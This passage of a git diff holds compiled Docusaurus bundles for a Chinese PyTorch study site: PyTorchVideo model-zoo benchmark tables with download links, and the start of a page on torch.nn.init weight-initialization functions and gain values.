10"}),(0,h.jsx)(e.td,{children:"32.45"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOW_4x16_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"74.58"}),(0,h.jsx)(e.td,{children:"91.63"}),(0,h.jsx)(e.td,{children:"54.52 x 3 x 10"}),(0,h.jsx)(e.td,{children:"32.45"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOW_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"4x16"}),(0,h.jsx)(e.td,{children:"75.34"}),(0,h.jsx)(e.td,{children:"91.89"}),(0,h.jsx)(e.td,{children:"36.69 x 3 x 10"}),(0,h.jsx)(e.td,{children:"34.48"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_4x16_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"76.94"}),(0,h.jsx)(e.td,{children:"92.69"}),(0,h.jsx)(e.td,{children:"65.71 x 3 x 10"}),(0,h.jsx)(e.td,{children:"34.57"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R101"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"77.90"}),(0,h.jsx)(e.td,{children:"93.27"}),(0,h.jsx)(e.td,{children:"127.20 x 3 x 10"}),(0,h.jsx)(e.td,{children:"62.83"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_8x8_R101.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R101"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x8"}),(0,h.jsx)(e.td,{children:"78.70"}),(0,h.jsx)(e.td,{children:"93.61"}),(0,h.jsx)(e.td,{children:"215.61 x 3 x 10"}),(0,h.jsx)(e.td,{children:"53.77"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_16x8_R101_50_50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"CSN"}),(0,h.jsx)(e.td,{children:"R101"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"32x2"}),(0,h.jsx)(e.td,{children:"77.00"}),(0,h.jsx)(e.td,{children:"92.90"}),(0,h.jsx)(e.td,{children:"75.62 x 3 x 10"}),(0,h.jsx)(e.td,{children:"22.21"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/CSN_32x2_R101.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"R(2+1)D"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x4"}),(0,h.jsx)(e.td,{children:"76.01"}),(0,h.jsx)(e.td,{children:"92.23"}),(0,h.jsx)(e.td,{children:"76.45 x 3 x 10"}),(0,h.jsx)(e.td,{children:"28.11"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/R2PLUS1D_16x4_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"XS"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"4x12"}),(0,h.jsx)(e.td,{children:"69.12"}),(0,h.jsx)(e.td,{children:"88.63"}),(0,h.jsx)(e.td,{children:"0.91 x 3 x 10"}),(0,h.jsx)(e.td,{children:"3.79"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_XS.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"S"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"13x6"}),(0,h.jsx)(e.td,{children:"73.33"}),(0,h.jsx)(e.td,{children:"91.27"}),(0,h.jsx)(e.td,{children:"2.96 x 3 x 10"}),(0,h.jsx)(e.td,{children:"3.79"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_S.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"M"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x5"}),(0,h.jsx)(e.td,{children:"75.94"}),(0,h.jsx)(e.td,{children:"92.72"}),(0,h.jsx)(e.td,{children:"6.72 x 3 x 10"}),(0,h.jsx)(e.td,{children:"3.79"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_M.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"X3D"}),(0,h.jsx)(e.td,{children:"L"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x5"}),(0,h.jsx)(e.td,{children:"77.44"}),(0,h.jsx)(e.td,{children:"93.31"}),(0,h.jsx)(e.td,{children:"26.64 x 3 x 10"}),(0,h.jsx)(e.td,{children:"6.15"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/X3D_L.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"MViT"}),(0,h.jsx)(e.td,{children:"B"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x4"}),(0,h.jsx)(e.td,{children:"78.85"}),(0,h.jsx)(e.td,{children:"93.85"}),(0,h.jsx)(e.td,{children:"70.80 x 1 x 5"}),(0,h.jsx)(e.td,{children:"36.61"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/MVIT_B_16x4.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"MViT"}),(0,h.jsx)(e.td,{children:"B"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"32x3"}),(0,h.jsx)(e.td,{children:"80.30"}),(0,h.jsx)(e.td,{children:"94.69"}),(0,h.jsx)(e.td,{children:"170.37 x 1 x 5"}),(0,h.jsx)(e.td,{children:"36.61"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/MVIT_B_32x3_f294077834.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"Something-Something V2"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"top 1"}),(0,h.jsx)(e.th,{children:"top 5"}),(0,h.jsx)(e.th,{children:"Flops (G) x views"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"60.04"}),(0,h.jsx)(e.td,{children:"85.19"}),(0,h.jsx)(e.td,{children:"55.10 x 3 x 1"}),(0,h.jsx)(e.td,{children:"31.96"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ssv2/SLOW_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"61.68"}),(0,h.jsx)(e.td,{children:"86.92"}),(0,h.jsx)(e.td,{children:"66.60 x 3 x 1"}),(0,h.jsx)(e.td,{children:"34.04"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ssv2/SLOWFAST_8x8_R50.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"Charades"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"MAP"}),(0,h.jsx)(e.th,{children:"Flops (G) x views"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"34.72"}),(0,h.jsx)(e.td,{children:"55.10 x 3 x 10"}),(0,h.jsx)(e.td,{children:"31.96"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/charades/SLOW_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"37.24"}),(0,h.jsx)(e.td,{children:"66.60 x 3 x 10"}),(0,h.jsx)(e.td,{children:"34.00"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/charades/SLOWFAST_8x8_R50.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"AVA (V2.2)"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"MAP"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"4x16"}),(0,h.jsx)(e.td,{children:"19.5"}),(0,h.jsx)(e.td,{children:"31.78"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ava/SLOW_4x16_R50_DETECTION.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"Kinetics 400"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"24.67"}),(0,h.jsx)(e.td,{children:"33.82"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/ava/SLOWFAST_8x8_R50_DETECTION.pyth",children:"link"})})]})]})]}),"\n",(0,h.jsx)(e.h2,{id:"834-\u4f7f\u7528-pytorchvideo-model-zoo",children:"8.3.4 \u4f7f\u7528 PyTorchVideo model zoo"}),"\n",(0,h.jsxs)(e.p,{children:["PyTorchVideo\u63d0\u4f9b\u4e86\u4e09\u79cd\u4f7f\u7528\u65b9\u6cd5\uff0c\u5e76\u4e14\u7ed9\u6bcf\u4e00\u79cd\u90fd\u914d\u5907\u4e86",(0,h.jsx)(e.code,{children:"tutorial"})]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["TorchHub\uff0c\u8fd9\u4e9b\u6a21\u578b\u90fd\u5df2\u7ecf\u5728TorchHub\u5b58\u5728\u3002\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u6765\u9009\u62e9\u9700\u4e0d\u9700\u8981\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5b98\u65b9\u4e5f\u7ed9\u51fa\u4e86TorchHub\u4f7f\u7528\u7684 ",(0,h.jsx)(e.a,{href:"https://pytorchvideo.org/docs/tutorial_torchhub_inference",children:"tutorial"})," \u3002"]}),"\n",(0,h.jsxs)(e.li,{children:["PySlowFast\uff0c\u4f7f\u7528 ",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/SlowFast/",children:"PySlowFast workflow"})," \u53bb\u8bad\u7ec3\u6216\u6d4b\u8bd5PyTorchVideo models/datasets."]}),"\n",(0,h.jsxs)(e.li,{children:[(0,h.jsx)(e.a,{href:"https://github.com/PyTorchLightning/pytorch-lightning",children:"PyTorch Lightning"}),"\u5efa\u7acb\u4e00\u4e2a\u5de5\u4f5c\u6d41\u8fdb\u884c\u5904\u7406\uff0c\u70b9\u51fb\u67e5\u770b\u5b98\u65b9 ",(0,h.jsx)(e.a,{href:"https://pytorchvideo.org/docs/tutorial_classification",children:"tutorial"}),"\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["\u5982\u679c\u60f3\u67e5\u770b\u66f4\u591a\u7684\u4f7f\u7528\u6559\u7a0b\uff0c\u53ef\u4ee5\u70b9\u51fb ",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/pytorchvideo/tree/main/tutorials",children:"\u8fd9\u91cc"})," \u8fdb\u884c\u5c1d\u8bd5"]}),"\n"]}),"\n",(0,h.jsxs)(e.p,{children:["\u603b\u7684\u6765\u8bf4\uff0cPyTorchVideo\u7684\u4f7f\u7528\u4e0etorchvision\u7684\u4f7f\u7528\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u5728\u6709\u4e86\u524d\u9762\u7684\u5b66\u4e60\u57fa\u7840\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u5feb\u4e0a\u624bPyTorchVideo\uff0c\u5177\u4f53\u7684\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b\u5b98\u65b9\u63d0\u4f9b\u7684\u6587\u6863\u548c\u4e00\u4e9b\u4f8b\u7a0b\u6765\u4e86\u89e3\u4f7f\u7528\u65b9\u6cd5\uff1a",(0,h.jsx)(e.a,{href:"https://pytorchvideo.readthedocs.io/en/latest/index.html",children:"\u5b98\u65b9\u7f51\u5740"})]})]})}function o(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,h.jsx)(e,{...n,children:(0,h.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/assets/js/ac52c911.5ebdd4e9.js b/assets/js/ac52c911.5ebdd4e9.js new file mode 100644 index 0000000..54d22f2 --- /dev/null +++ b/assets/js/ac52c911.5ebdd4e9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6496],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>c});var i=t(96540);const r={},s=i.createContext(r);function l(n){const e=i.useContext(s);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:l(n.components),i.createElement(s.Provider,{value:e},n.children)}},53956:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>l,metadata:()=>i,toc:()=>o});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.4 \u6a21\u578b\u6784\u5efa.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa"},"next":{"title":"3.6 \u635f\u5931\u51fd\u6570.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570"}}');var r=t(74848),s=t(28453);const l={},c="3.5 \u6a21\u578b\u521d\u59cb\u5316.md",d={},o=[{value:"torch.nn.init\u5185\u5bb9",id:"torchnninit\u5185\u5bb9",level:2},{value:"torch.nn.init\u4f7f\u7528",id:"torchnninit\u4f7f\u7528",level:2},{value:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5",id:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u5c01\u88c5",level:2}];function h(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"35-\u6a21\u578b\u521d\u59cb\u5316md",children:"3.5 \u6a21\u578b\u521d\u59cb\u5316.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"35-\u6a21\u578b\u521d\u59cb\u5316",children:"3.5 \u6a21\u578b\u521d\u59cb\u5316"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u7684\u8bad\u7ec3\u4e2d\uff0c\u6743\u91cd\u7684\u521d\u59cb\u503c\u6781\u4e3a\u91cd\u8981\u3002\u4e00\u4e2a\u597d\u7684\u521d\u59cb\u503c\uff0c\u4f1a\u4f7f\u6a21\u578b\u6536\u655b\u901f\u5ea6\u63d0\u9ad8\uff0c\u4f7f\u6a21\u578b\u51c6\u786e\u7387\u66f4\u7cbe\u786e\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4e0d\u4f7f\u7528\u51680\u521d\u59cb\u503c\u8bad\u7ec3\u7f51\u7edc\u3002\u4e3a\u4e86\u5229\u4e8e\u8bad\u7ec3\u548c\u51cf\u5c11\u6536\u655b\u65f6\u95f4\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u6a21\u578b\u8fdb\u884c\u5408\u7406\u7684\u521d\u59cb\u5316\u3002PyTorch\u4e5f\u5728",(0,r.jsx)(e.code,{children:"torch.nn.init"}),"\u4e2d\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u5e38\u7528\u7684\u521d\u59cb\u5316\u65b9\u6cd5\u3002\n\u901a\u8fc7\u672c\u7ae0\u5b66\u4e60\uff0c\u4f60\u5c06\u5b66\u4e60\u5230\u4ee5\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5e38\u89c1\u7684\u521d\u59cb\u5316\u51fd\u6570"}),"\n",(0,r.jsx)(e.li,{children:"\u521d\u59cb\u5316\u51fd\u6570\u7684\u4f7f\u7528"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"torchnninit\u5185\u5bb9",children:"torch.nn.init\u5185\u5bb9"}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u8fc7\u8bbf\u95eetorch.nn.init\u7684\u5b98\u65b9\u6587\u6863",(0,r.jsx)(e.a,{href:"https://pytorch.org/docs/stable/nn.init.html",children:"\u94fe\u63a5"})," \uff0c\u6211\u4eec\u53d1\u73b0",(0,r.jsx)(e.code,{children:"torch.nn.init"}),"\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u521d\u59cb\u5316\u65b9\u6cd5\uff1a\n1 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.uniform_"}),"(tensor, a=0.0, b=1.0)\n2 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.normal_"}),"(tensor, mean=0.0, std=1.0)\n3 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.constant_"}),"(tensor, val)\n4 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.ones_"}),"(tensor)\n5 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.zeros_"}),"(tensor)\n6 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.eye_"}),"(tensor)\n7 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.dirac_"}),"(tensor, groups=1)\n8 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.xavier_uniform_"}),"(tensor, gain=1.0)\n9 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.xavier_normal_"}),"(tensor, gain=1.0)\n10 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.kaiming_uniform_"}),"(tensor, a=0, mode='fan__in', nonlinearity='leaky_relu')\n11 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.kaiming_normal_"}),"(tensor, a=0, mode='fan_in', nonlinearity='leaky_relu')\n12 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.orthogonal_"}),"(tensor, gain=1)\n13 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.sparse_"}),"(tensor, sparsity, std=0.01)\n14 . ",(0,r.jsx)(e.code,{children:"torch.nn.init.calculate_gain"}),"(nonlinearity, param=None)\n\u5173\u4e8e\u8ba1\u7b97\u589e\u76ca\u5982\u4e0b\u8868\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"nonlinearity"}),(0,r.jsx)(e.th,{children:"gain"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Linear/Identity"}),(0,r.jsx)(e.td,{children:"1"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Conv{1,2,3}D"}),(0,r.jsx)(e.td,{children:"1"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Sigmod"}),(0,r.jsx)(e.td,{children:"1"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Tanh"}),(0,r.jsx)(e.td,{children:"5/3"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"ReLU"}),(0,r.jsx)(e.td,{children:"sqrt(2)"})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:"Leaky Relu"}),(0,r.jsx)(e.td,{children:"sqrt(2/1+neg_slop^2)"})]})]})]}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e9b\u51fd\u6570\u9664\u4e86",(0,r.jsx)(e.code,{children:"calculate_gain"}),"\uff0c\u6240\u6709\u51fd\u6570\u7684\u540e\u7f00\u90fd\u5e26\u6709\u4e0b\u5212\u7ebf\uff0c\u610f\u5473\u7740\u8fd9\u4e9b\u51fd\u6570\u5c06\u4f1a\u76f4\u63a5\u539f\u5730\u66f4\u6539\u8f93\u5165\u5f20\u91cf\u7684\u503c\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"torchnninit\u4f7f\u7528",children:"torch.nn.init\u4f7f\u7528"}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u5e38\u4f1a\u6839\u636e\u5b9e\u9645\u6a21\u578b\u6765\u4f7f\u7528",(0,r.jsx)(e.code,{children:"torch.nn.init"}),"\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u901a\u5e38\u4f7f\u7528",(0,r.jsx)(e.code,{children:"isinstance()"}),"\u6765\u8fdb\u884c\u5224\u65ad